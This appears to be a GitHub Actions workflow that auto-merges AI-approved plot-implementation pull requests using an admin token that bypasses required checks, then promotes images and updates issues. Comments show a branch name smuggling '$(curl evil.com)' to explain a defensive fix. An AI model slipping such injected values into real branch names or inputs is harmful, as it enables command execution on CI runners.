Merge: PR #5543 #4370
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: "Impl: Merge" | |
| run-name: "Merge: PR #${{ github.event.inputs.pr_number || github.event.pull_request.number }}" | |
| # Auto-merge implementation PRs when ai-approved label is added | |
| # Creates per-library metadata file and promotes GCS images | |
| on: | |
| pull_request: | |
| types: [labeled] | |
| workflow_dispatch: | |
| inputs: | |
| pr_number: | |
| description: 'PR number to auto-merge' | |
| required: true | |
| type: number | |
| concurrency: | |
| group: impl-merge-${{ github.event.inputs.pr_number || github.event.pull_request.number || github.ref }} | |
| cancel-in-progress: false | |
| jobs: | |
| merge: | |
| runs-on: ubuntu-latest | |
| permissions: | |
| contents: write | |
| pull-requests: write | |
| issues: write | |
| actions: write # Required for gh workflow run sync-postgres.yml | |
| id-token: write # Required for Workload Identity Federation | |
| steps: | |
| - name: Check conditions | |
| id: check | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| # Untrusted event fields routed through env: so they cannot reach | |
| # the shell as command substitution. A branch named e.g. | |
| # `implementation/foo/$(curl evil.com)` would have been executed | |
| # when assigned via direct ${{ }} interpolation. | |
| EVENT_NAME: ${{ github.event_name }} | |
| EVENT_ACTION: ${{ github.event.action }} | |
| EVENT_LABEL: ${{ github.event.label.name }} | |
| EVENT_PR_BRANCH: ${{ github.event.pull_request.head.ref }} | |
| EVENT_PR_NUMBER: ${{ github.event.pull_request.number }} | |
| INPUT_PR_NUMBER: ${{ github.event.inputs.pr_number }} | |
| GH_REPO: ${{ github.repository }} | |
| run: | | |
| if [[ "$EVENT_NAME" == "workflow_dispatch" ]]; then | |
| PR_NUM="$INPUT_PR_NUMBER" | |
| PR_DATA=$(gh pr view "$PR_NUM" --repo "$GH_REPO" --json headRefName,labels) | |
| BRANCH=$(echo "$PR_DATA" | jq -r '.headRefName') | |
| HAS_APPROVED=$(echo "$PR_DATA" | jq -r '[.labels[].name] | any(. == "ai-approved")') | |
| else | |
| ACTION="$EVENT_ACTION" | |
| LABEL="$EVENT_LABEL" | |
| BRANCH="$EVENT_PR_BRANCH" | |
| PR_NUM="$EVENT_PR_NUMBER" | |
| if [[ "$ACTION" != "labeled" || "$LABEL" != "ai-approved" ]]; then | |
| echo "should_run=false" >> $GITHUB_OUTPUT | |
| exit 0 | |
| fi | |
| HAS_APPROVED="true" | |
| fi | |
| # Only process implementation/* branches | |
| if [[ ! "$BRANCH" =~ ^implementation/ ]]; then | |
| echo "::notice::Skipping: Branch '$BRANCH' is not implementation/*" | |
| echo "should_run=false" >> $GITHUB_OUTPUT | |
| exit 0 | |
| fi | |
| if [[ "$HAS_APPROVED" != "true" ]]; then | |
| echo "::notice::Skipping: PR does not have ai-approved label" | |
| echo "should_run=false" >> $GITHUB_OUTPUT | |
| exit 0 | |
| fi | |
| echo "pr_number=$PR_NUM" >> $GITHUB_OUTPUT | |
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT | |
| echo "should_run=true" >> $GITHUB_OUTPUT | |
| - name: Checkout repository | |
| if: steps.check.outputs.should_run == 'true' | |
| uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 | |
| with: | |
| fetch-depth: 0 | |
| - name: Extract info from branch | |
| if: steps.check.outputs.should_run == 'true' | |
| id: extract | |
| env: | |
| # Route the (still-untrusted) branch name through env: rather than | |
| # `${{ … }}` interpolation in the run body — otherwise a branch like | |
| # `implementation/foo/$(curl evil.com)` would be re-interpreted as | |
| # a shell command substitution at the assignment site. | |
| BRANCH: ${{ steps.check.outputs.branch }} | |
| run: | | |
| # Format: implementation/{specification-id}/{library} | |
| SPEC_ID=$(echo "$BRANCH" | cut -d'/' -f2) | |
| LIBRARY=$(echo "$BRANCH" | cut -d'/' -f3) | |
| # Language: only python supported today. If future branches encode language, | |
| # parse it from the branch name here. | |
| LANGUAGE="python" | |
| echo "specification_id=$SPEC_ID" >> $GITHUB_OUTPUT | |
| echo "library=$LIBRARY" >> $GITHUB_OUTPUT | |
| echo "language=$LANGUAGE" >> $GITHUB_OUTPUT | |
| - name: Validate PR completeness before merge | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| LANGUAGE: ${{ steps.extract.outputs.language }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| BRANCH: ${{ steps.check.outputs.branch }} | |
| PR_NUM: ${{ steps.check.outputs.pr_number }} | |
| run: | | |
| # Fetch the PR branch to check its contents | |
| git fetch origin "$BRANCH" | |
| IMPL_FILE="plots/${SPEC_ID}/implementations/${LANGUAGE}/${LIBRARY}.py" | |
| META_FILE="plots/${SPEC_ID}/metadata/${LANGUAGE}/${LIBRARY}.yaml" | |
| # Check if implementation file exists on the PR branch | |
| if ! git show "origin/${BRANCH}:${IMPL_FILE}" &>/dev/null; then | |
| echo "::error::Implementation file missing on branch: ${IMPL_FILE}" | |
| echo "::error::This indicates an incomplete generation - metadata exists but implementation is missing" | |
| echo "::error::Closing PR to prevent partial merge" | |
| gh pr close "$PR_NUM" --comment "**Merge blocked:** Implementation file \`${IMPL_FILE}\` is missing from this PR branch. Only metadata was found. This indicates an incomplete code generation. Please regenerate using \`generate:${LIBRARY}\` label." | |
| exit 1 | |
| fi | |
| # Check if metadata file exists | |
| if ! git show "origin/${BRANCH}:${META_FILE}" &>/dev/null; then | |
| echo "::warning::Metadata file missing on branch: ${META_FILE}" | |
| echo "::warning::This is unusual but not blocking - metadata will be created on next review" | |
| fi | |
| echo "::notice::PR completeness validated: both implementation and metadata present" | |
| - name: Get parent issue from PR body | |
| if: steps.check.outputs.should_run == 'true' | |
| id: issue | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| PR_NUM="${{ steps.check.outputs.pr_number }}" | |
| PR_BODY=$(gh pr view "$PR_NUM" --json body -q '.body' 2>/dev/null || echo "") | |
| ISSUE=$(echo "$PR_BODY" | grep -oP '\*\*Parent Issue:\*\* #\K\d+' | head -1 || echo "") | |
| echo "number=$ISSUE" >> $GITHUB_OUTPUT | |
| - name: Extract quality score from PR labels | |
| if: steps.check.outputs.should_run == 'true' | |
| id: quality | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| PR_NUM="${{ steps.check.outputs.pr_number }}" | |
| LABELS=$(gh pr view "$PR_NUM" --json labels -q '.labels[].name' 2>/dev/null || echo "") | |
| SCORE=$(echo "$LABELS" | grep -oP 'quality:\K\d+' | head -1 || echo "") | |
| echo "score=$SCORE" >> $GITHUB_OUTPUT | |
| - name: React with rocket emoji | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| PR_NUMBER: ${{ steps.check.outputs.pr_number }} | |
| REPOSITORY: ${{ github.repository }} | |
| run: | | |
| gh api repos/$REPOSITORY/issues/$PR_NUMBER/reactions \ | |
| -f content=rocket | |
| - name: Merge PR to main (with retry) | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| # ADMIN_TOKEN: PAT with admin scope from a repo-admin user, used so | |
| # that `gh pr merge --admin` can bypass the main-branch ruleset | |
| # (required-status-checks). Falls back to GITHUB_TOKEN if not set so | |
| # the workflow still runs and fails with a clear ruleset error | |
| # instead of an opaque auth error. | |
| GH_TOKEN: ${{ secrets.ADMIN_TOKEN || secrets.GITHUB_TOKEN }} | |
| PR_NUM: ${{ steps.check.outputs.pr_number }} | |
| REPOSITORY: ${{ github.repository }} | |
| HAS_ADMIN_TOKEN: ${{ secrets.ADMIN_TOKEN != '' }} | |
| run: | | |
| if [ "$HAS_ADMIN_TOKEN" != "true" ]; then | |
| echo "::warning::ADMIN_TOKEN secret is not set — merge will fail if main ruleset enforces required status checks. Add a fine-grained PAT with Contents:Write + Pull requests:Write + Administration:Read+Write as repo secret ADMIN_TOKEN." | |
| fi | |
| MAX_ATTEMPTS=5 | |
| for attempt in $(seq 1 $MAX_ATTEMPTS); do | |
| echo "::notice::Merge attempt $attempt/$MAX_ATTEMPTS" | |
| # Update branch before merge attempt | |
| gh pr update-branch "$PR_NUM" --repo "$REPOSITORY" 2>/dev/null || true | |
| sleep 2 | |
| # --admin bypasses the branch ruleset's required-status-check | |
| # gate. Required because impl-generate.yml pushes via GITHUB_TOKEN, | |
| # which by GitHub's anti-recursion design does not trigger | |
| # downstream CI workflows (Run Linting / Run Tests / Run Frontend | |
| # Tests), so impl PRs never get those checks. The pipeline already | |
| # gates merge behind the AI quality review threshold. | |
| # | |
| # Bypass only works if the token has admin role. GITHUB_TOKEN is | |
| # only `write`, so a repo-admin PAT is required (ADMIN_TOKEN). | |
| if gh pr merge "$PR_NUM" \ | |
| --repo "$REPOSITORY" \ | |
| --squash \ | |
| --admin \ | |
| --delete-branch; then | |
| echo "::notice::Merge successful on attempt $attempt" | |
| exit 0 | |
| fi | |
| if [ $attempt -lt $MAX_ATTEMPTS ]; then | |
| DELAY=$((attempt * 10)) | |
| echo "::warning::Merge failed, retrying in ${DELAY}s..." | |
| sleep $DELAY | |
| fi | |
| done | |
| echo "::error::Merge failed after $MAX_ATTEMPTS attempts" | |
| exit 1 | |
| # Note: quality_score is now set by impl-review.yml before merge | |
| # The PR already contains the updated metadata when merged | |
| - name: Authenticate to GCP | |
| if: steps.check.outputs.should_run == 'true' | |
| uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 # v3 | |
| with: | |
| project_id: anyplot | |
| workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }} | |
| - name: Set up Cloud SDK | |
| if: steps.check.outputs.should_run == 'true' | |
| uses: google-github-actions/setup-gcloud@aa5489c8933f4cc7a4f7d45035b3b1440c9c10db # v3 | |
| - name: Promote GCS images to production | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| LANGUAGE: ${{ steps.extract.outputs.language }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| run: | | |
| STAGING="gs://anyplot-images/staging/${SPEC_ID}/${LANGUAGE}/${LIBRARY}" | |
| PRODUCTION="gs://anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}" | |
| # Copy from staging to production | |
| gsutil -m -h "Cache-Control:public, max-age=604800" cp -r "${STAGING}/*" "${PRODUCTION}/" 2>/dev/null || echo "No staging files to promote" | |
| # Make production files public | |
| gsutil -m acl ch -r -u AllUsers:R "${PRODUCTION}/" 2>/dev/null || true | |
| # Clean up staging | |
| gsutil -m rm -r "${STAGING}/" 2>/dev/null || true | |
| rm -f /tmp/gcs-key.json | |
| echo "::notice::Promoted images to production" | |
| - name: Update issue labels | |
| if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != '' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| ISSUE: ${{ steps.issue.outputs.number }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| run: | | |
| # Create labels if they don't exist | |
| gh label create "impl:${LIBRARY}:done" --color "0e8a16" --description "${LIBRARY} implementation merged" 2>/dev/null || true | |
| # Remove trigger and pending, add done | |
| gh issue edit "$ISSUE" --remove-label "generate:${LIBRARY}" 2>/dev/null || true | |
| gh issue edit "$ISSUE" --remove-label "impl:${LIBRARY}:pending" 2>/dev/null || true | |
| gh issue edit "$ISSUE" --add-label "impl:${LIBRARY}:done" | |
| - name: Post success to issue | |
| if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != '' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| ISSUE: ${{ steps.issue.outputs.number }} | |
| LANGUAGE: ${{ steps.extract.outputs.language }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| PR_NUM: ${{ steps.check.outputs.pr_number }} | |
| QUALITY_SCORE: ${{ steps.quality.outputs.score }} | |
| run: | | |
| BODY="## :white_check_mark: ${LIBRARY} Complete | |
| **${LIBRARY}** implementation for \`${SPEC_ID}\` has been merged to main. | |
| **PR:** #${PR_NUM}" | |
| if [ -n "$QUALITY_SCORE" ]; then | |
| BODY="${BODY} | |
| **Quality Score:** ${QUALITY_SCORE}/100" | |
| fi | |
| BODY="${BODY} | |
| **Preview:** [light](https://storage.googleapis.com/anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}/plot-light.png) · [dark](https://storage.googleapis.com/anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}/plot-dark.png) | |
| --- | |
| :robot: *[impl-merge](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})*" | |
| gh issue comment "$ISSUE" --body "$BODY" | |
| - name: Close issue if all libraries done | |
| if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != '' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| ISSUE: ${{ steps.issue.outputs.number }} | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| run: | | |
| # All 9 supported libraries | |
| LIBRARIES="matplotlib seaborn plotly bokeh altair plotnine pygal highcharts letsplot" | |
| # Get current labels on the issue | |
| LABELS=$(gh issue view "$ISSUE" --json labels -q '.labels[].name' 2>/dev/null || echo "") | |
| # Count done and failed implementations | |
| DONE_COUNT=0 | |
| FAILED_COUNT=0 | |
| DONE_LIBS="" | |
| FAILED_LIBS="" | |
| for lib in $LIBRARIES; do | |
| if echo "$LABELS" | grep -q "^impl:${lib}:done$"; then | |
| DONE_COUNT=$((DONE_COUNT + 1)) | |
| DONE_LIBS="$DONE_LIBS $lib" | |
| elif echo "$LABELS" | grep -q "^impl:${lib}:failed$"; then | |
| FAILED_COUNT=$((FAILED_COUNT + 1)) | |
| FAILED_LIBS="$FAILED_LIBS $lib" | |
| fi | |
| done | |
| TOTAL=$((DONE_COUNT + FAILED_COUNT)) | |
| echo "::notice::Libraries: $DONE_COUNT done, $FAILED_COUNT failed, $TOTAL/9 total" | |
| # Close issue if all 9 libraries are done OR done+failed=9 | |
| if [ "$TOTAL" -eq 9 ]; then | |
| # Build status table | |
| TABLE="| Library | Status |\n|---------|--------|" | |
| for lib in $LIBRARIES; do | |
| if echo "$DONE_LIBS" | grep -w -q "$lib"; then | |
| TABLE="$TABLE\n| $lib | :white_check_mark: |" | |
| elif echo "$FAILED_LIBS" | grep -w -q "$lib"; then | |
| TABLE="$TABLE\n| $lib | :x: (not supported) |" | |
| fi | |
| done | |
| if [ "$FAILED_COUNT" -eq 0 ]; then | |
| TITLE=":tada: All Implementations Complete!" | |
| SUMMARY="All 9 library implementations for \`${SPEC_ID}\` have been successfully merged." | |
| else | |
| TITLE=":white_check_mark: Implementations Complete" | |
| SUMMARY="${DONE_COUNT}/9 implementations merged, ${FAILED_COUNT} libraries could not implement this plot type." | |
| fi | |
| gh issue comment "$ISSUE" --body "## ${TITLE} | |
| ${SUMMARY} | |
| $(echo -e "$TABLE") | |
| --- | |
| :robot: *[impl-merge](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})*" | |
| gh issue close "$ISSUE" | |
| echo "::notice::Closed issue #$ISSUE - all implementations complete ($DONE_COUNT done, $FAILED_COUNT failed)" | |
| fi | |
| - name: Trigger database sync | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| gh workflow run sync-postgres.yml | |
| echo "::notice::Triggered sync-postgres.yml" |